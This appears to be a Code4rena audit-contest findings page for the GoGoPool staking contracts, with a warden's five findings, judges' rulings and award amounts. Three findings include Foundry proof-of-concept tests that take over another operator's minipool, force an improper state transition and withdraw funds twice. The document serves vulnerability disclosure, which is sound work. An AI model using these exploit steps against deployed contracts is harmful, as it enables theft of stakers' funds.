Platform: Code4rena
Start Date: 15/12/2022
Pot Size: $128,000 USDC
Total HM: 28
Participants: 111
Period: 19 days
Judge: GalloDaSballo
Total Solo HM: 1
Id: 194
League: ETH
Rank: 26/111
Findings: 5
Award: $917.67
š Selected for report: 0
š Solo Findings: 0
š Selected for report: 0xdeadbeef0x
Also found by: 0Kage, 0xc0ffEE, 0xmint, AkshaySrivastav, Allarious, Ch_301, Franfran, HollaDieWaldfee, IllIllI, Jeiwan, Lirios, Manboy, adriro, ak1, bin2chen, caventa, chaduke, clems4ever, cozzetti, datapunk, imare, immeas, kaliberpoziomka8552, ladboy233, pauliax, peritoflores, rvierdiiev, sces60107, sk8erboy, stealthyz, unforgiven, wagmi, wallstreetvilkas, yixxas
9.9345 USDC - $9.93
https://github.com/code-423n4/2022-12-gogopool/blob/aec9928d8bdce8a5a4efe45f54c39d4fc7313731/contracts/contract/MinipoolManager.sol#L163-L164 https://github.com/code-423n4/2022-12-gogopool/blob/aec9928d8bdce8a5a4efe45f54c39d4fc7313731/contracts/contract/MinipoolManager.sol#L243
Users can lose funds
Any staker can call createPool()
with an existing nodeID in withdrawable state.
According to these comments updates are only allowed if pool is eitherfinished
or cancelled
.
However, if the pool is in Withdrawable
state requireValidStateTransition
will succeed, minipool data will be reset and owner overridden.
In this test nodeOp2 will pwn the minipool created by nodeOp
//Add to MiniPoolManager.t.sol function testPwnMinipoolinWithdrawableState() public { address liqStaker1 = getActorWithTokens("liqStaker1", MAX_AMT, MAX_AMT); address liqStaker2 = getActorWithTokens("liqStaker2", MAX_AMT, MAX_AMT); address nodeOp2 = getActorWithTokens("nodeOp2", MAX_AMT, MAX_AMT); vm.prank(liqStaker2); ggAVAX.depositAVAX{value: MAX_AMT}(); vm.prank(liqStaker1); ggAVAX.depositAVAX{value: MAX_AMT}(); uint256 duration = 14 days; uint256 depositAmt = 1000 ether; uint256 avaxAssignmentRequest = 1000 ether; uint256 validationAmt = depositAmt + avaxAssignmentRequest; uint128 ggpStakeAmt = 200 ether; vm.startPrank(nodeOp); ggp.approve(address(staking), MAX_AMT); staking.stakeGGP(ggpStakeAmt); MinipoolManager.Minipool memory mp1 = createMinipool(depositAmt, avaxAssignmentRequest, duration); vm.stopPrank(); vm.startPrank(address(rialto)); minipoolMgr.claimAndInitiateStaking(mp1.nodeID); bytes32 txID = keccak256("txid"); minipoolMgr.recordStakingStart(mp1.nodeID, txID, block.timestamp); skip(duration); uint256 rewards = 10 ether; uint256 halfRewards = rewards / 2; deal(address(rialto), address(rialto).balance + rewards); minipoolMgr.recordStakingEnd{value: validationAmt + rewards}(mp1.nodeID, block.timestamp, rewards); uint256 percentage = dao.getMinipoolNodeCommissionFeePct(); uint256 commissionFee = (percentage).mulWadDown(halfRewards); vm.stopPrank(); vm.startPrank(nodeOp2); ggp.approve(address(staking), MAX_AMT); staking.stakeGGP(ggpStakeAmt); MinipoolManager.Minipool memory mp2 = createMinipoolwithNodeID(mp1.nodeID, depositAmt, avaxAssignmentRequest, duration); assertEq(mp2.owner,nodeOp2); }
ā
//Add this to Base.t.sol function createMinipoolwithNodeID( address nodeID, uint256 depositAmt, uint256 avaxAssignmentRequest, uint256 duration ) internal returns (MinipoolManager.Minipool memory) { uint256 delegationFee = 0.2 ether; minipoolMgr.createMinipool{value: depositAmt}(nodeID, duration, delegationFee, avaxAssignmentRequest); int256 index = minipoolMgr.getIndexOf(nodeID); return minipoolMgr.getMinipool(index); }
I am not sure about your design but maybe update should be allowed only to owner.
#0 - 0xminty
2023-01-03T23:41:18Z
dupe of #805
#1 - c4-judge
2023-01-09T12:36:42Z
GalloDaSballo marked the issue as duplicate of #213
#2 - c4-judge
2023-02-03T12:33:00Z
GalloDaSballo changed the severity to 2 (Med Risk)
#3 - c4-judge
2023-02-03T19:26:10Z
GalloDaSballo changed the severity to 3 (High Risk)
#4 - c4-judge
2023-02-08T08:26:45Z
GalloDaSballo changed the severity to 2 (Med Risk)
#5 - c4-judge
2023-02-08T08:50:12Z
GalloDaSballo changed the severity to 3 (High Risk)
#6 - c4-judge
2023-02-08T20:23:51Z
GalloDaSballo marked the issue as satisfactory
#7 - c4-judge
2023-02-09T08:53:06Z
GalloDaSballo changed the severity to QA (Quality Assurance)
#8 - Simon-Busch
2023-02-09T12:48:27Z
Changed severity back from QA to H as requested by @GalloDaSballo
š Selected for report: 0xbepresent
Also found by: 0Kage, Atarpara, Ch_301, Manboy, cozzetti, datapunk, immeas, kaliberpoziomka8552, peritoflores, rvierdiiev, sces60107, unforgiven, wagmi, yixxas
57.1995 USDC - $57.20
https://github.com/code-423n4/2022-12-gogopool/blob/aec9928d8bdce8a5a4efe45f54c39d4fc7313731/contracts/contract/MinipoolManager.sol#L164 https://github.com/code-423n4/2022-12-gogopool/blob/aec9928d8bdce8a5a4efe45f54c39d4fc7313731/contracts/contract/MinipoolManager.sol#L243
Improper state transition
A multisign can accidentally move a withdrawable pool to finished with finishFailed
function testFinishFailedWitdrawable() public { address liqStaker1 = getActorWithTokens("liqStaker1", MAX_AMT, MAX_AMT); address liqStaker2 = getActorWithTokens("liqStaker2", MAX_AMT, MAX_AMT); address nodeOp2 = getActorWithTokens("nodeOp2", MAX_AMT, MAX_AMT); vm.prank(liqStaker2); ggAVAX.depositAVAX{value: MAX_AMT}(); vm.prank(liqStaker1); ggAVAX.depositAVAX{value: MAX_AMT}(); uint256 duration = 14 days; uint256 depositAmt = 1000 ether; uint256 avaxAssignmentRequest = 1000 ether; uint256 validationAmt = depositAmt + avaxAssignmentRequest; uint128 ggpStakeAmt = 200 ether; vm.startPrank(nodeOp); ggp.approve(address(staking), MAX_AMT); staking.stakeGGP(ggpStakeAmt); MinipoolManager.Minipool memory mp1 = createMinipool(depositAmt, avaxAssignmentRequest, duration); vm.stopPrank(); vm.startPrank(address(rialto)); minipoolMgr.claimAndInitiateStaking(mp1.nodeID); bytes32 txID = keccak256("txid"); minipoolMgr.recordStakingStart(mp1.nodeID, txID, block.timestamp); skip(duration); uint256 rewards = 10 ether; uint256 halfRewards = rewards / 2; deal(address(rialto), address(rialto).balance + rewards); minipoolMgr.recordStakingEnd{value: validationAmt + rewards}(mp1.nodeID, block.timestamp, rewards); uint256 percentage = dao.getMinipoolNodeCommissionFeePct(); uint256 commissionFee = (percentage).mulWadDown(halfRewards); vm.stopPrank(); vm.startPrank(address(rialto)); minipoolMgr.finishFailedMinipoolByMultisig(mp1.nodeID); }
In addition to requireValidStateTransition
I believe that you need to the check that the current state is MinipoolStatus.Error
.
#0 - c4-judge
2023-01-10T19:41:47Z
GalloDaSballo marked the issue as duplicate of #495
#1 - c4-judge
2023-01-30T20:26:29Z
GalloDaSballo marked the issue as duplicate of #723
#2 - c4-judge
2023-02-08T20:13:19Z
GalloDaSballo marked the issue as satisfactory
š Selected for report: wagmi
Also found by: HollaDieWaldfee, __141345__, chaduke, hansfriese, peritoflores, rvierdiiev, sces60107, slowmoses, supernova
145.3017 USDC - $145.30
ā Inflation is less than what is specified
ā Every time you run startRewardsCycle()
after at least one cycle has elapsed you calculate inflation()
in discrete times of one day (how many days has passed)
ā However, when you set InflationIntervalStartTime
, which is used to calculate next inflation period you set it to current block.timestamp
- lastIntervalStartTime.
ā This means that you lose the interest generated between current block.timestamp
and the moment the day was truncated.
ā It all depends how late startRewardsCycle()
was called.
In the worst scenario inflation could be reduced to half.
You need to increment InflationIntervalStartTime
in 1 day * cycleselapsed
to avoid this.
This way for example you know at 10PM you can calculate new interest, like many banks do.
#0 - c4-judge
2023-01-09T20:42:41Z
GalloDaSballo marked the issue as duplicate of #648
#1 - c4-judge
2023-02-08T08:48:49Z
GalloDaSballo marked the issue as satisfactory
š Selected for report: Jeiwan
Also found by: AkshaySrivastav, ladboy233, peritoflores
683.5268 USDC - $683.53
https://github.com/code-423n4/2022-12-gogopool/blob/aec9928d8bdce8a5a4efe45f54c39d4fc7313731/contracts/contract/MinipoolManager.sol#L664 https://github.com/code-423n4/2022-12-gogopool/blob/aec9928d8bdce8a5a4efe45f54c39d4fc7313731/contracts/contract/MinipoolManager.sol#L520
Pool's owner can enable/disable cancelMinipoolByMultisig
When you transfer ETH (or AVAX in this case), the receiver can intentionally reject funds by reverting the fallback function. This causes call
to return false
and safeTransfer
to revert the main transaction.
This is not a problem in most of the cases because the the receiver is either the sender or a known contract.
In your protocol these examples are shown in two functions.
While cancelMinipool
is ok because the sender is the receiver (owner of the pool). cancelMinipoolByMultisig
is vulnerable to this attack. The owner of the pool and can disable the cancel.
ā You need to implement a withdrawable pattern. The withdrawal pattern places the responsibility of claiming funds to the receiver, the recipient has to send a transaction to withdraw and obtain their funds .
#0 - c4-judge
2023-01-10T09:55:01Z
GalloDaSballo marked the issue as duplicate of #809
#1 - c4-judge
2023-01-29T18:21:01Z
GalloDaSballo marked the issue as duplicate of #623
#2 - c4-judge
2023-02-08T10:01:43Z
GalloDaSballo marked the issue as satisfactory
š Selected for report: hansfriese
Also found by: 0Kage, 0xdeadbeef0x, Allarious, Aymen0909, Ch_301, Franfran, HollaDieWaldfee, Jeiwan, Nyx, RaymondFam, SmartSek, adriro, betweenETHlines, bin2chen, cccz, datapunk, immeas, kaliberpoziomka8552, peritoflores, wagmi
21.713 USDC - $21.71
Pool owner can withdraw a minipool twice
In the testRecreateMinipool()
cycle after recordStakingEnd
and just before minipool calls recreateMinipool
and attacker, owner of minipool can call withdraw, receive funds and get the pool recreated.
Here is the test.
function testWithdrawInBetweenRecreateMinipool() public { uint256 duration = 4 weeks; uint256 depositAmt = 1000 ether; uint256 avaxAssignmentRequest = 1000 ether; uint256 validationAmt = depositAmt + avaxAssignmentRequest; // Enough to start but not to re-stake, we will add more later uint128 ggpStakeAmt = 200 ether; address nodeOp2 = getActorWithTokens("nodeOp", MAX_AMT, MAX_AMT); vm.startPrank(nodeOp); ggp.approve(address(staking), MAX_AMT); staking.stakeGGP(ggpStakeAmt); MinipoolManager.Minipool memory mp = createMinipool(depositAmt, avaxAssignmentRequest, duration); vm.stopPrank(); vm.startPrank(nodeOp2); ggp.approve(address(staking), MAX_AMT); staking.stakeGGP(10*ggpStakeAmt); MinipoolManager.Minipool memory mp2 = createMinipool(10*depositAmt, 10*avaxAssignmentRequest, duration); vm.stopPrank(); address liqStaker1 = getActorWithTokens("liqStaker1", MAX_AMT, MAX_AMT); vm.prank(liqStaker1); ggAVAX.depositAVAX{value: MAX_AMT}(); vm.prank(address(rialto)); minipoolMgr.claimAndInitiateStaking(mp.nodeID); bytes32 txID = keccak256("txid"); vm.prank(address(rialto)); minipoolMgr.recordStakingStart(mp.nodeID, txID, block.timestamp); skip(duration / 2); // Give rialto the rewards it needs uint256 rewards = 10 ether; deal(address(rialto), address(rialto).balance + rewards); //deal(address(rialto), 100_000 ether); // Pay out the rewards vm.prank(address(rialto)); minipoolMgr.recordStakingEnd{value: validationAmt + rewards}(mp.nodeID, block.timestamp, rewards); vm.prank(address(nodeOp)); minipoolMgr.withdrawMinipoolFunds(mp.nodeID); vm.prank(address(rialto)); // Now try to restake //vm.expectRevert(MinipoolManager.InvalidMultisigAddress.selector); minipoolMgr.recreateMinipool(mp.nodeID); }
A possible solution is to reset staking variables in withdraw
#0 - c4-judge
2023-01-10T18:01:51Z
GalloDaSballo marked the issue as duplicate of #484
#1 - c4-judge
2023-02-03T12:41:14Z
GalloDaSballo marked the issue as duplicate of #569
#2 - c4-judge
2023-02-08T08:27:15Z
GalloDaSballo changed the severity to 2 (Med Risk)
#3 - c4-judge
2023-02-08T20:15:27Z
GalloDaSballo marked the issue as satisfactory
#4 - c4-judge
2023-02-09T08:45:54Z
GalloDaSballo changed the severity to QA (Quality Assurance)
#5 - Simon-Busch
2023-02-09T12:32:55Z
Changed severity back to M as requested by @GalloDaSballo